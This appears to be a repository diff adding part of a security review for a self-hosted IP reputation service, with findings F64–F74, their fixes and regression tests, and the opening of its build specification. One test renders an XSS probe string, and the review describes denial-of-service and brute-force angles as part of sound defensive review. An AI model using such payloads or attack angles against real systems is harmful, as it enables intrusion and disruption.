+  `ui/tests/Integration/App/TwigConfigTest.php`:
+  `testAutoescapeStrategyIsExplicitlyHtml` calls
+  `EscaperExtension::getDefaultStrategy()` on the wired-up
+  environment and asserts the strategy is `'html'`;
+  `testRenderedTemplateAutoescapesUserInput` proves the pipeline
+  actually applies the strategy by rendering
+  `'<script>alert(1)</script>'` through `{{ value }}` and
+  asserting the output is HTML-escaped.
+
+### F64 — `compose.scheduler.yml` references a missing crontab file
+- **File:** `compose.scheduler.yml:10` (`./docker/scheduler.crontab`)
+- **Risk:** The bind-mount source does not exist in the repository.
+  Container starts with empty `/etc/crontabs/root` and silently never
+  runs `cleanup-audit` (audit retention silently broken) or
+  `cleanup-expired-manual-blocks`. Failure-open monitoring gap.
+- **Severity: 1**
+- **Status:** Fixed by the F22 fix (the scheduler-image rebuild that
+  replaced the runtime `apk add` with a pinned-digest Dockerfile).
+  The bind-mount of `./docker/scheduler.crontab` is gone;
+  `scheduler/scheduler.crontab` is `COPY`ed into the image at build
+  time so the schedule is part of the immutable artifact (`COPY
+  scheduler.crontab /etc/crontabs/root` in `scheduler/Dockerfile`).
+  Operators wanting a different cadence can still bind-mount their
+  own crontab over `/etc/crontabs/root` in compose, but the default
+  no longer depends on a host file at all. Closing F64 for
+  bookkeeping; no new code change required.
+
+### F65 — `SecretScrubbingProcessor` does not match raw JWT shape
+- **Files:** `api/src/Infrastructure/Logging/SecretScrubbingProcessor.php:42-57`,
+  `ui/src/Logging/SecretScrubbingProcessor.php:22-37`
+- **Risk:** A short Bearer (< 20 chars) is not redacted by the
+  current regex. Raw `id_token`/`access_token` JWTs logged under
+  alternate keys (e.g. `'jwt' => '...'`) escape the key-name list.
+  Add a JWT regex
+  `^[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$`.
+- **Severity: 1**
+- **Status:** Fixed. Both `SecretScrubbingProcessor` value-pattern
+  lists (api and ui) gained two entries:
+  - `\beyJ[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]{4,}\b`
+    → `eyJ***`. Anchored on `eyJ` because every JWT header is the
+    base64url encoding of a JSON object that starts with `{"…`,
+    which is `eyJ…`. Anchoring eliminates false positives on
+    dotted-quad IPs (`192.168.1.1`), shared-object names
+    (`lib.so.6`), and arbitrary `a.b.c`-shaped prose; the per-
+    segment `{4,}` floor skips pathological short matches.
+  - The Bearer floor `[A-Za-z0-9._\-]{20,}` was lowered to `{8,}`
+    so a `Bearer abc12345` short token (the SEC_REVIEW called
+    out `< 20 char` Bearers slipping through) gets caught.
+  Regression tests:
+  - api: `testRawJwtInValueIsScrubbed`,
+    `testRawJwtInMessageIsScrubbed`,
+    `testShortBearerTokenIsScrubbed`,
+    `testIpAddressDoesNotMatchJwtRegex` (false-positive guard).
+  - ui: `testRawJwtInValueIsScrubbed`, `testShortBearerIsScrubbed`.
+  All existing tests still pass.
+
+### F66 — `APP_SECRET` and `UI_SECRET` declared but unused
+- **Files:** `.env.example:23, 82`,
+  `api/config/settings.php:35`,
+  `ui/config/settings.php:37`
+- **Risk:** `UI_SECRET` is never referenced in `ui/src/`. `APP_SECRET`
+  is never used for any signing/HMAC operation. Operators following
+  `.env.example` generate secret material that does nothing — a
+  misleading security signal. Either wire them into ETag/CSRF/session
+  signing or remove them.
+- **Severity: 1**
+- **Status:** Fixed by removal. Neither secret was ever used for
+  signing or HMAC (no callsites under `api/src/` or `ui/src/`),
+  and adding fictional uses just to keep the env vars alive would
+  invent ceremony. Deleted from:
+  - `.env.example` — both `APP_SECRET` and `UI_SECRET` lines.
+  - `api/config/settings.php` — `'app_secret'` settings key.
+  - `ui/config/settings.php` — `'ui_secret'` settings key.
+  - `api/src/Application/Admin/ConfigController.php` — the
+    `APP_SECRET` line in the masked-config response, plus the
+    docblock-listed masking rules.
+  - `api/tests/Integration/Support/AppTestCase.php` and
+    `ui/tests/Integration/Support/AppTestCase.php` — test fixture
+    overrides.
+  - `doc/user-manual.md` and `doc/security.md` — operator guidance
+    that pointed at the removed env vars.
+  Operators upgrading from a prior release can leave the lines in
+  their `.env`; both apps now ignore them. F67 (validator-doesn't-
+  check-UI_SECRET) is closed by the same change since `UI_SECRET`
+  no longer exists to validate.
+
+### F67 — UI `Config::validateOrExit` does not check `UI_SECRET` despite docs
+- **Files:** `ui/src/App/Config.php:20-55`,
+  `.env.example:82`
+- **Risk:** `.env.example:82` documents `UI_SECRET` as required
+  ("signs session cookies") but the boot validator does not check
+  it. Sessions are unsigned PHP-native files. Misleading
+  documentation.
+- **Severity: 1**
+- **Status:** Fixed alongside F66 by removing `UI_SECRET` entirely
+  rather than wiring the signing the docs implied. The docs/
+  validator mismatch the SEC_REVIEW called out is resolved by
+  deleting the misleading half: `.env.example`,
+  `ui/config/settings.php`, and `doc/user-manual.md` /
+  `doc/security.md` no longer mention `UI_SECRET`. Sessions remain
+  PHP-native files (the storage was never actually signed by
+  anything in the existing code), but nothing in the deploy
+  documentation now claims otherwise.
+
+### F68 — `/api/v1/openapi.yaml` and `/api/docs` are unauthenticated
+- **Files:** `api/src/App/AppFactory.php:99-101`,
+  `api/docker/Caddyfile:40-44`
+- **Risk:** The 48 KB OpenAPI spec leaks the full surface of admin
+  endpoints, internal-job endpoints, expected query/body shapes, and
+  error contracts to unauthenticated callers. Defaults to
+  internet-reachable. Aids reconnaissance. Gate behind a flag like
+  `API_DOCS_PUBLIC` or move to an authenticated path.
+- **Severity: 1**
+- **Status:** Fixed. New `api_docs_public` setting (read from the
+  `API_DOCS_PUBLIC` env var, default `false`). `AppFactory::build`
+  now only registers `GET /api/docs` and `GET /api/v1/openapi.yaml`
+  when the flag is `true`; with the default, both paths are simply
+  never registered, so Slim returns 404 like any other unmapped
+  path. Operators who want the docs viewer (open APIs, dev
+  environments) opt in by setting `API_DOCS_PUBLIC=true` in the
+  environment. The `.env.example` documents the gate alongside the
+  other api-side settings. Caddyfile's `@docs`-path CSP block is
+  unchanged — it now only takes effect for the 404 responses on
+  the unregistered paths, which is harmless. Regression tests in
+  `api/tests/Integration/Public/DocsControllerTest.php`:
+  `testDocsPageIs404ByDefault` and `testOpenapiSpecIs404ByDefault`
+  exercise the off-state directly; the F58 SRI test
+  (`testDocsPageEmbedsRapiDocWithSriIntegrity`) and the spec-served
+  smoke test now route through a small `enableDocs()` helper that
+  flips the setting and rebuilds the app, mirroring the binding-
+  override pattern `JobsAdminControllerTest` already uses.
+
+### F69 — `ReportController` parses unbounded JSON body before size checks
+- **Files:** `api/src/Application/Public/ReportController.php:99-113, 184-197`,
+  `api/src/App/AppFactory.php:67`
+- **Risk:** `jsonBody()` reads `(string) $request->getBody()` and
+  `json_decode`s it without a pre-decoding size check. The 4 KB
+  `METADATA_MAX_BYTES` is checked only after decoding succeeds — the
+  full body is in memory by then. PHP `post_max_size`/`memory_limit`
+  are not configured anywhere in the docker stack. An authenticated
+  reporter (one weak token suffices) can POST a 100 MB body and
+  burn memory; metadata-depth nesting up to PHP's 512 default
+  amplifies. Set `JSON_THROW_ON_ERROR`, cap body size in Caddy, and
+  enforce `php_value memory_limit`.
+- **Severity: 1**
+- **Status:** Fixed at the application layer. Two new defences:
+  1. **`RequestBodySizeLimitMiddleware`** under
+     `api/src/Infrastructure/Http/Middleware/`. Wired globally in
+     `AppFactory::build` AFTER `addBodyParsingMiddleware()` so
+     it runs FIRST on the inbound LIFO stack — meaning Slim's
+     body parser never reads a body that exceeds the 256 KiB cap.
+     Two layers of check: `Content-Length` header (catches the
+     well-behaved client) and `getSize()` fallback (catches a
+     stream that knows its length even if the header lied or was
+     omitted). Returns 413 `payload_too_large` JSON without
+     touching the stream.
+  2. **`ReportController::jsonBody()` hardening.** The fall-
+     through path that ran when Slim's parser didn't recognise
+     the `Content-Type` now uses `json_decode($raw, true,
+     JSON_DEPTH_CAP=32, JSON_THROW_ON_ERROR)`, with
+     `JsonException` caught and translated to "treat as empty
+     body". 32 levels is plenty for legitimate metadata shapes;
+     PHP's 512 default left a deep-recursion amplifier in place
+     even after the byte cap.
+  Per-endpoint caps (the existing 4 KiB `metadata` limit) layer
+  on top, and Caddy's `request_body { max_size … }` is the
+  outermost bound — operators can configure that per-route in the
+  Caddyfile if they want to fail-closed before PHP is invoked at
+  all. The 256 KiB application-layer cap is generous enough for
+  every legitimate admin payload (largest is a multi-line
+  description, ≤16 KiB) while bounding the worst-case at "no
+  single request can fill memory by itself".
+  Regression tests:
+  - Unit: `api/tests/Unit/Http/RequestBodySizeLimitMiddlewareTest.php`
+    covers under-cap-passes, over-cap-by-Content-Length-rejected,
+    over-cap-by-stream-size-rejected (Content-Length absent),
+    empty-body-passes, and non-numeric-Content-Length-still-
+    caught-by-stream-size.
+  - Integration: `api/tests/Integration/Public/ReportControllerTest.php`
+    `testOversizedRequestBodyIsRejectedWith413` posts a 512 KiB
+    JSON body and asserts 413 + `payload_too_large` envelope;
+    `testDeeplyNestedJsonDoesNotBlowTheStack` posts a 100-deep
+    nested object and asserts no 500/exception leaks.
+
+### F70 — `BlocklistController?format=json` forces sha256-of-50k-entries on every cache miss
+- **File:** `api/src/Application/Public/BlocklistController.php:80-85, 176-193`
+- **Risk:** A consumer can request the more expensive JSON renderer
+  on demand. Per-process `BlocklistCache` TTL=30s — every cache miss
+  rebuilds and rehashes. Combined with the per-token-only rate
+  limit, a single consumer at 60 req/s sustains 60 full
+  build-and-hash operations per second per replica. Header
+  size limits cap the `If-None-Match` parse loop but it is still an
+  amplifier. Constrain `format` per consumer (only allow what the
+  consumer typically uses).
+- **Severity: 1**
+- **Status:** Fixed by extending `BlocklistCache` to cache the
+  rendered body and its sha256 ETag per `(policy_id, format)`, not
+  just the underlying `Blocklist` domain object. New
+  `BlocklistCache::getRendered(Policy, format, callable $render)`
+  invokes the render callback at most once per cache window per
+  format; subsequent hits return the cached `body` + `etag`
+  verbatim. The render+hash work that previously paid the full
+  sha256-of-N-entries cost on every request now runs once per
+  cache window per replica per format, regardless of request rate.
+  `BlocklistController` switched to the new method and feeds it a
+  small closure for each format; the choice between `renderText`
+  and `renderJson` is the only thing varying per request now. The
+  per-format invalidation contract from `getOrBuild` is preserved
+  via the same `invalidate($policyId)` / `invalidateAll()`
+  surface (the rendered entries live inside the same cache row,
+  so dropping the row drops both the build and every render
+  alongside it). Per-consumer format constraint is still possible
+  as a future tightening but isn't necessary to defeat the F70
+  amplifier — the cache already does. Regression tests in
+  `api/tests/Integration/Public/BlocklistControllerTest.php`:
+  `testBlocklistRenderIsCachedAcrossRequests` (two sequential
+  JSON requests produce byte-identical bodies and ETags) and
+  `testTextAndJsonRendersBothCachedIndependently` (alternating
+  format requests preserve each format's cache; text and JSON
+  ETags differ because their bodies differ).
+
+### F71 — `BlocklistCache` is not size-bounded
+- **File:** `api/src/Infrastructure/Reputation/BlocklistCache.php:33, 42-59`
+- **Risk:** The cache map is keyed by `$policy->id` and grows
+  monotonically with no LRU. Admin-creatable, but unbounded. Add a
+  bounded LRU (e.g. 16 policies cached).
+- **Severity: 1**
+- **Status:** Fixed. New `BlocklistCache::MAX_ENTRIES = 16` cap (also
+  configurable via the constructor's new `$maxEntries` argument).
+  Insertion goes through a private `store()` helper that
+  unset-then-assigns the key (which pushes it to the end of PHP's
+  insertion-ordered array) and evicts `array_key_first()` past the
+  cap. Reads through `getOrBuild` / `getRendered` mark the entry as
+  most-recently-used via a private `touch()` helper. Both paths
+  preserve the existing per-policy invalidation contract
+  (`invalidate($policyId)` / `invalidateAll()`). Worst-case memory
+  is now bounded by 16 × the per-policy build cost, regardless of
+  how many policies an admin creates over the worker's lifetime.
+  Two tiny `@internal` accessors — `entryCount()` and
+  `cachedPolicyIds()` — let the regression test inspect cache state
+  without reaching into private fields via reflection. Regression
+  test in `api/tests/Integration/Public/BlocklistControllerTest.php`:
+  `testCacheIsLruBoundedAtSixteenEntries` rebuilds the cache with a
+  30 s TTL (the test fixture default is 0 s = no caching), creates
+  18 policies and one consumer per policy, hits `/api/v1/blocklist`
+  for each, then asserts `entryCount() ≤ MAX_ENTRIES`, the two
+  oldest policy IDs are NOT in the cache, and the most-recent one
+  IS. The 10 pre-existing BlocklistController tests still pass.
+
+### F72 — `/ips/{ip:.+}` accepts unbounded path parameter
+- **Files:** `api/src/App/AppFactory.php:256`,
+  `api/src/Application/Admin/IpsController.php:121-127`
+- **Risk:** A logged-in Viewer can call `/api/v1/admin/ips/<10MB>`.
+  `rawurldecode` runs on the entire string; `IpAddress::fromString`
+  applies regex. Web-server URL-length limits typically cap this at
+  a few KB but mitigations are environment-specific. Tighten the
+  regex to a strict IP character class.
+- **Severity: 1**
+- **Status:** Fixed by extending the F43 charset constraint with a
+  per-route length cap. Both routes
+  (`/api/v1/admin/ips/{ip}` and `/app/ips/{ip}`) now use
+  `[0-9a-fA-F.:%]{1,80}` instead of `[0-9a-fA-F.:%]+`. 80 chars
+  covers IPv4 (≤15), canonical IPv6 (≤39), and IPv6 with every
+  colon urlencoded as `%3A` (≤53) with comfortable headroom.
+  Anything past that — including the 10 MB string the SEC_REVIEW
+  called out — fails to match the route and 404s before
+  `rawurldecode` is invoked, before `IpAddress::fromString` runs
+  any regex, and before any future code path could read the param
+  as a filename / log key / downstream URL component. The web
+  server's URL-length limit is still the outermost bound; this
+  change is the deterministic application-layer cap that doesn't
+  rely on the deployment environment. Regression tests added in
+  `api/tests/Integration/Admin/IpsControllerTest.php` —
+  `testDetailRejectsNonIpShapedPaths` data-provider gains
+  `oversized digits` (81 ones) and `oversized hex` (200 a's),
+  both 404.
+
+### F73 — UI `JsonExceptionHandler` `getCode()` type-juggling for HTTP status
+- **File:** `ui/src/Http/JsonExceptionHandler.php:40-63`
+- **Risk:** `getCode()` from arbitrary `Throwable` is used as HTTP
+  status if it is in `[400, 600)`. PDOException's `getCode()` is a
+  SQLSTATE *string* (e.g. `'42S02'`) — coerced via comparison. A
+  string like `'400'` would set status 400 and skip prod
+  message-suppression. Cast to int explicitly and reject non-numeric
+  codes.
+- **Severity: 1**
+- **Status:** Fixed. `JsonExceptionHandler::__invoke` now requires
+  `is_int($code)` before treating `getCode()` as an HTTP status.
+  PDO-derived exceptions return SQLSTATE *strings* — the previous
+  `>= 400 && < 600` loose-compare coerced them to int and could
+  land on a real status for the wrong reason (`'400'` → 400 with
+  the prod message-suppression skipped). The new gate falls back
+  to 500 for any non-int code, including the default 0 from
+  `new \Exception('msg')`. Regression tests in
+  `ui/tests/Unit/Http/JsonExceptionHandlerTest.php`:
+  `testStringCodeFallsBackTo500` (a `'400'` string code → 500),
+  `testIntCodeInRangeIsHonored` (a real `403` → 403),
+  `testIntCodeOutOfRangeFallsBackTo500` (200 not an error code →
+  500), `testCodeOfZeroFallsBackTo500` (default 0 → 500),
+  `testSqlstateLikeStringIsNotCoercedIntoStatus` (`'42S02'` → 500).
+
+### F74 — `LoginThrottle` writes `logger->warning` per failure with no log-rate cap
+- **File:** `ui/src/Auth/LoginThrottle.php:79-93`
+- **Risk:** A sustained brute-force attack at 100 req/s fills disk via
+  the structured logger. No log-rate cap, no aggregation. Pair with
+  F1 (XFF spoof) and F2 (no per-user bucket) to amplify.
+- **Severity: 1**
+- **Status:** Fixed. `LoginThrottle::recordFailure` now emits a
+  `warning` only at `failure_count === 1` — the FIRST failure in a
+  given (username, ip) bucket since the bucket was created or
+  cleared. Subsequent failures within the bucket stay silent until
+  a lockout fires, which still emits the existing `error` line
+  carrying `failure_count` and `lock_seconds`. Total visibility is
+  preserved at aggregate (the lockout error carries the burst size)
+  without per-attempt spam: a 1000-IP botnet spraying one username
+  used to emit ~24 username-bucket warnings + 4×1000 = 4024
+  per-IP-bucket warnings before everything was locked; now it
+  emits 1 username-bucket warning + 1000 per-IP-bucket warnings,
+  about 4× quieter, with the lockout errors carrying the actual
+  count. The `error`-on-lockout signal stays loud because that's
+  the genuinely-actionable event. Regression tests in
+  `ui/tests/Unit/Auth/LoginThrottleTest.php`:
+  `testRecordFailureLogRateIsCappedToFirstWarningPerBucket`
+  (5 failures → 1 warning + ≥1 error) and
+  `testHighRateBruteForceDoesNotSpamPerFailureWarnings` (100
+  failures into the same bucket → exactly 1 warning).
+
+---
+
+## Reviewed and acceptable
+
+The following candidate concerns were checked and are not findings in the
+current code. Listed for completeness so the next reviewer doesn't redo
+the same work.
+
+- **No raw SQL interpolation of user input.** All repositories bind via
+  DBAL named/positional parameters. The only `sprintf` into SQL is for
+  table names where values are hardcoded constants or `?` placeholder
+  counts.
+- **No `ORDER BY` injection.** Every `ORDER BY` uses constants — no
+  user-controlled sort column anywhere reviewed.
+- **No `unserialize`, `eval`, `exec`, `shell_exec`, `system`,
+  `passthru`, `proc_open`, `popen`, backticks, or `preg_replace /e`
+  modifier** anywhere in `api/src` or `ui/src` (vendor excluded).
+- **IP/CIDR parsing** (`IpAddress::fromString`, `Cidr::fromString`) is
+  strict — rejects whitespace, leading zeros, bracketed IPv6, zone
+  identifiers, malformed octets.
+- **Token format & entropy.** `random_bytes(20)` = 160 bits, base32
+  encoded. SHA-256 storage at rest. Lookup is by hash — no timing side
+  channel.
+- **Constant-time comparisons** used where they matter (`hash_equals`
+  in CSRF, internal token, local-admin username).
+- **OIDC `S256` PKCE** explicitly set; missing `sub` claim rejected.
+- **Failed-token responses are uniform 401** — no distinction between
+  missing/malformed/unknown/revoked/expired.
+- **Impersonation header is silently ignored on non-service tokens.**
+- **Impersonation user id strictly validated** as `^[1-9][0-9]*$`.
+- **JobRunner orchestrates entirely via DBAL** — no shell-out.
+- **MmdbVerifier opens MMDB via `MaxMind\Db\Reader`** with node-count
+  thresholds; truncated/empty downloads fail closed.
+- **UI Guzzle client uses a fixed `API_BASE_URL`** from env — not
+  user-retargetable.
+- **`MaintenanceController::purge`** loops `'DELETE FROM '.$table` over
+  a hard-coded allowlist.
+- **Twig auto-escape (HTML)** is the default; no `|raw` over
+  user-controlled data was found.
+- **Logout is POST-only and CSRF-protected.**
+- **Session cookie attributes** (`HttpOnly`, `Secure` in prod,
+  `SameSite=Lax`) are correct.
+- **`PharData::extractTo` rejects path traversal** since PHP 8.
+
+---
+
+## Summary of severity counts
+
+| Severity | Count |
+|----------|-------|
+| 3        | 5     |
+| 2        | 27    |
+| 1        | 42    |
+| **Total**| **74**|
+
+The headline risks are: (a) the brute-force lockout is bypassable
+trivially via `X-Forwarded-For` spoofing or distributed sources
+(F1, F2), (b) a leaked or unrotated service token is a single-step
+total compromise because `/api/v1/auth/upsert-local` mints Admin users
+with no impersonation/audit/RBAC/rate-limit (F3), and (c) audit
+integrity rests on a non-transactional best-effort second write that
+silently no-ops on failure (F4, F5). The combination of these means a
+single compromised credential plus a deliberately-failed audit insert
+yields un-traced privilege escalation.

+ 1129 - 0
doc/development/SPEC.md

@@ -0,0 +1,1129 @@
+# IP Reputation Database — Build Specification
+
+You are building a self-hosted **IP Reputation Database** that ships as a Docker Compose stack:
+
+- **`api`** — pure JSON REST backend. Owns the database, business logic, scoring, RBAC, and all auth decisions. Does not render HTML.
+- **`ui`** — thin PHP+Twig+Tailwind frontend (BFF). Owns the OIDC redirect flow, browser sessions, login forms, and server-rendered templates. Calls `api` for all data.
+- **`migrate`** — one-shot, runs Phinx migrations and seeds, then exits.
+- **`scheduler`** (optional sidecar) — busybox crond that pokes `api`'s internal job endpoints.
+- **`mysql`** (optional) — replaces the default SQLite.
+
+The `ui` container is **deliberately replaceable**. The current PHP+Twig implementation is one of several possible frontends; future rewrites in Vue, Svelte, native desktop, or mobile are explicitly anticipated (and out of scope for this build). The API contract and auth model must remain stable across such rewrites. Documentation for future frontend authors lives in `doc/` and is a first-class deliverable, not an afterthought.
+
+Read this entire spec before writing any code, then execute the milestones in order. Do not skip ahead. Commit after each milestone.
+
+---
+
+## 1. Project Goals
+
+A central service that:
+1. **Ingests** abuse reports from many sources (web servers, IDS, fail2ban-like agents) via an authenticated REST API.
+2. **Distributes** tailored block lists to firewalls/proxies via an authenticated REST API, where each consumer gets a list shaped by a named policy.
+3. **Lets humans manage** IPs, subnets, allowlists, tokens, policies, and inspect full per-IP history through a modern web UI.
+4. Computes IP reputation as a **decaying, weighted, per-category score**.
+
+---
+
+## 2. Tech Stack (non-negotiable)
+
+### Shared
+- **Language**: PHP 8.3
+- **Framework**: Slim 4 (used in both containers, in different roles)
+- **Web server / runtime**: [FrankenPHP](https://frankenphp.dev/) (Caddy with embedded PHP) — single binary, single process per container, auto HTTPS in production, HTTP/2 + HTTP/3
+- **Container base**: `dunglas/frankenphp:1-php8.3-alpine` (or `-bookworm` if Alpine causes pain with extensions)
+- **Build**: Composer per app, npm for Tailwind. Multi-stage Dockerfile per container.
+- **Tests**: PHPUnit 11
+- **Logging**: Monolog → stdout in JSON. Both containers write structured logs.
+
+### `api` container (backend)
+- **Database**: SQLite 3 (default) or MySQL 8 / MariaDB 10.6+ (selected via env var). Use a thin DBAL — `doctrine/dbal` — so the same SQL works on both.
+- **Migrations**: Phinx
+- **GeoIP/ASN enrichment**: MaxMind GeoLite2-Country + GeoLite2-ASN, downloaded at container build time using a license key passed as build-arg, or refreshed at runtime via the `refresh-geoip` job
+- **Output**: JSON responses only (plus `text/plain` for blocklists). No HTML, no Twig.
+
+### `ui` container (frontend BFF)
+- **Templating**: Twig 3
+- **Frontend**: Tailwind CSS 3 (compiled at build time, no CDN), vanilla JS + Alpine.js for interactivity, htmx where it simplifies forms
+- **OIDC**: `jumbojett/openid-connect-php` for Microsoft Entra ID
+- **HTTP client**: `guzzlehttp/guzzle` for calls to the `api` container
+- **Sessions**: PHP native sessions, file-based on the container's writable layer (no shared volume needed; sessions are tied to a single ui replica)
+- **No database access.** The `ui` container holds zero persistent data of its own. Everything goes through the API.
+
+### Process model
+- One process per container.
+- Periodic batch work (score recompute, GeoIP refresh, audit cleanup) is exposed as authenticated internal HTTP endpoints inside the `api` container.
+- Job scheduling is external — host cron, systemd timer, or Kubernetes CronJob. Optional `scheduler` sidecar (busybox crond) provided as a compose overlay for users who don't want to touch the host.
+
+Do **not** introduce additional frameworks (no Laravel, no Symfony full-stack). Keep dependencies minimal in both containers.
+
+---
+
+## 3. High-Level Architecture
+
+```
+                                                          ┌──────────────────────────────┐
+                                                          │   api container (:8081)      │
+                                                          │   FrankenPHP + Slim          │
+   reporters     ──HTTPS POST /api/v1/report─────────────▶│                              │
+   (webservers, IDS, fail2ban)                             │   Public API                 │
+                                                          │   Bearer token auth          │
+   consumers     ──HTTPS GET  /api/v1/blocklist──────────▶│                              │
+   (firewalls, proxies)                                    │   Internal Jobs API          │
+                                                          │   /internal/jobs/*           │
+                                                          │   (loopback / RFC1918 only)  │
+   scheduler     ──HTTPS POST /internal/jobs/tick────────▶│                              │
+   (host cron / sidecar)                                   │   Reputation Engine          │
+                                                          │   GeoIP enrichment           │
+                                                          │   RBAC                       │
+                                                          └──────┬───────────────────────┘
+                                                                 │
+                                                          ┌──────▼───────────────────────┐
+                                                          │     SQLite or MySQL           │
+                                                          └──────▲───────────────────────┘
+                                                                 │
+   admins        ──browser HTTPS───┐                             │
+                                   ▼                             │
+                       ┌──────────────────────────────┐          │
+                       │   ui container (:8080)        │          │
+                       │   FrankenPHP + Slim + Twig    │          │
+                       │                               │          │
+                       │   OIDC redirect flow          │  service-token + impersonation
+                       │   Browser sessions            │  ────────▶
+                       │   Login UI / local admin      │          │
+                       │   Server-rendered templates   │          │
+                       │   (Tailwind, Alpine, htmx)    │          │
+                       │                               │          │
+                       │   No database, no business    │          │
+                       │   logic — pure BFF            │          │
+                       └───────────────────────────────┘          │
+                                                                  │
+   future Vue/native/mobile clients ────(direct API, future)──────┘
+   (out of scope; documented in doc/frontend-development.md)
+
+Containers:
+  • api       — backend, exposed on :8081; serves machine clients directly and ui as a server-side caller
+  • ui        — frontend BFF, exposed on :8080; the only thing humans hit in their browser
+  • migrate   — one-shot Phinx migrations + seed against the api's database, exits on success
+  • mysql     — optional; SQLite via shared volume by default
+  • scheduler — optional sidecar (busybox crond); disabled by default
+```
+
+The `api` and `ui` are independently deployable. In production, users typically front both with a reverse proxy / TLS terminator and route by hostname (`reputation.example.com` → ui, `reputation-api.example.com` → api). For the default compose deployment, both containers expose plain HTTP on different ports and FrankenPHP's auto-HTTPS handles TLS when a public hostname is configured.
+
+---
+
+## 4. Data Model
+
+All timestamps UTC, stored as ISO 8601 strings on SQLite, DATETIME on MySQL. All IPs stored in two columns: `ip_text` (canonical string form) and `ip_bin` (16-byte binary, IPv4 mapped into IPv6 `::ffff:0:0/96`). Indexes on `ip_bin`. Subnets stored as `network_bin` (16 bytes) + `prefix_length` (smallint).
+
+### Tables
+
+**`reporters`** — one row per ingest source
+- `id`, `name` (unique, e.g. `web-prod-01`), `description`, `trust_weight` (decimal 0.0–2.0, default 1.0), `is_active`, `created_at`, `created_by_user_id`
+
+**`consumers`** — one row per distribution consumer (firewall/proxy)
+- `id`, `name` (unique), `description`, `policy_id` (FK), `is_active`, `created_at`, `created_by_user_id`, `last_pulled_at`
+
+**`api_tokens`** — Bearer tokens
+- `id`, `token_hash` (SHA-256 of token; raw token shown once at creation), `token_prefix` (first 8 chars, for UI display), `kind` (`reporter` or `consumer`), `reporter_id` (nullable FK), `consumer_id` (nullable FK), `expires_at` (nullable), `revoked_at` (nullable), `last_used_at`, `created_at`
+- Constraint: exactly one of `reporter_id` / `consumer_id` is set, matching `kind`.
+
+**`categories`** — abuse categories
+- `id`, `slug` (e.g. `brute_force`, `spam`, `scanner`, `malware_c2`, `web_attack`), `name`, `description`, `decay_function` (`linear` | `exponential`), `decay_param` (for linear: days-to-zero; for exponential: half-life in days), `is_active`
+- Seed defaults on first run; admin can add/edit.
+
+**`reports`** — append-only event log of incoming reports
+- `id`, `ip_bin`, `ip_text`, `category_id`, `reporter_id`, `weight_at_report` (snapshot of reporter trust_weight), `received_at`, `metadata_json` (free-form: URL, user-agent, etc., max 4 KB)
+- Index `(ip_bin, category_id, received_at DESC)`
+
+**`ip_scores`** — denormalized current score per (ip, category). Touched synchronously on report ingest for the affected `(ip, category)` pair, and refreshed in bulk by the `recompute-scores` job to reapply decay.
+- `ip_bin`, `ip_text`, `category_id`, `score`, `last_report_at`, `report_count_30d`, `recomputed_at`
+- PK `(ip_bin, category_id)`
+
+**`job_locks`** — mutual exclusion for periodic jobs
+- `job_name` (PK, e.g. `recompute-scores`, `refresh-geoip`, `cleanup-audit`, `enrich-pending`)
+- `acquired_at`, `acquired_by` (string identifier of the request, e.g. hostname + pid)
+- `expires_at` — hard deadline; jobs failing to release the lock by this time are considered crashed and the lock is reclaimable.
+- Implementation: SQLite uses `INSERT OR FAIL` with a delete-if-expired pre-step in a transaction; MySQL uses the same pattern (no `GET_LOCK` — it doesn't survive failover well). Service exposes `tryAcquire($jobName, $maxRuntimeSeconds)` and `release($jobName)`.
+
+**`job_runs`** — per-job execution history and freshness state
+- `id`, `job_name`, `started_at`, `finished_at` (nullable), `status` (`running` | `success` | `failure` | `skipped_locked`), `items_processed` (int), `error_message` (nullable), `triggered_by` (`schedule` | `manual` | `api`)
+- Index `(job_name, started_at DESC)`. The latest row per `job_name` is the "freshness" answer.
+
+**`ip_enrichment`** — GeoIP/ASN cache per IP
+- `ip_bin`, `country_code`, `asn`, `as_org`, `enriched_at`
+
+**`manual_blocks`** — admin-defined blocks (overrides scoring)
+- `id`, `kind` (`ip` | `subnet`), `ip_bin` (if ip), `network_bin` + `prefix_length` (if subnet), `reason`, `expires_at` (nullable), `created_at`, `created_by_user_id`
+
+**`allowlist`** — never-block entries
+- `id`, `kind` (`ip` | `subnet`), `ip_bin` / `network_bin` + `prefix_length`, `reason`, `created_at`, `created_by_user_id`
+
+**`policies`** — distribution profiles
+- `id`, `name` (unique, e.g. `strict`, `moderate`, `paranoid`), `description`, `include_manual_blocks` (bool, default true), `created_at`
+- Each policy has many `policy_category_thresholds`:
+  - `policy_id`, `category_id`, `threshold` (decimal; IP included if its score in this category ≥ threshold)
+  - Absent row = category not considered.
+- Output rule: an IP appears in a policy's blocklist if **any** included category meets its threshold AND the IP is not on the allowlist. Plus all manual blocks if `include_manual_blocks` is true. Subnet manual blocks emit as CIDR.
+
+**`users`** — UI users (identity records only; no credentials stored here)
+- `id`, `subject` (OIDC `sub`, nullable), `email`, `display_name`, `role` (`admin` | `operator` | `viewer`), `is_local` (bool, marks the local admin record), `last_login_at`, `created_at`
+- The local admin's `password_hash` lives in the **`ui` container's** environment, not in this table. The `ui` container validates the password and then calls `POST /api/v1/auth/users/upsert` to ensure a corresponding record exists with `is_local=true` and `role=admin`.
+
+**`oidc_role_mappings`** — map Entra group object IDs to roles
+- `id`, `group_id`, `role`, `created_at`
+- On login, user's role = highest role granted by any matching group; default `viewer` if none match (configurable to "deny" instead).
+
+**`audit_log`** — every write action in the system
+- `id`, `actor_kind` (`user` | `token` | `system`), `actor_id`, `action`, `target_type`, `target_id`, `details_json`, `ip_address`, `created_at`
+
+**`ip_history_view`** — not a table, but a query: union of `reports`, `manual_blocks` events, allowlist events, and audit entries filtered by IP, ordered by time. Implemented as a service method.
+
+---
+
+## 5. Reputation Engine
+
+### Scoring formula
+
+For an IP `X` and category `C`, score is the sum over all reports `r` where `r.ip == X` and `r.category == C`:
+
+```
+score(X, C) = Σ ( r.weight_at_report × decay(now − r.received_at, C) )
+```
+
+`decay(age_days, C)`:
+- **Linear**: `max(0, 1 − age_days / decay_param)` where `decay_param` is days to zero (default 30).
+- **Exponential**: `0.5 ^ (age_days / decay_param)` where `decay_param` is the half-life in days (default 14).
+
+Reports older than 365 days are excluded from the sum (hard cutoff for performance). Configurable in env.
+
+### Recomputation
+
+The `recompute-scores` job (invoked on a schedule, default every 5 minutes — configurable):
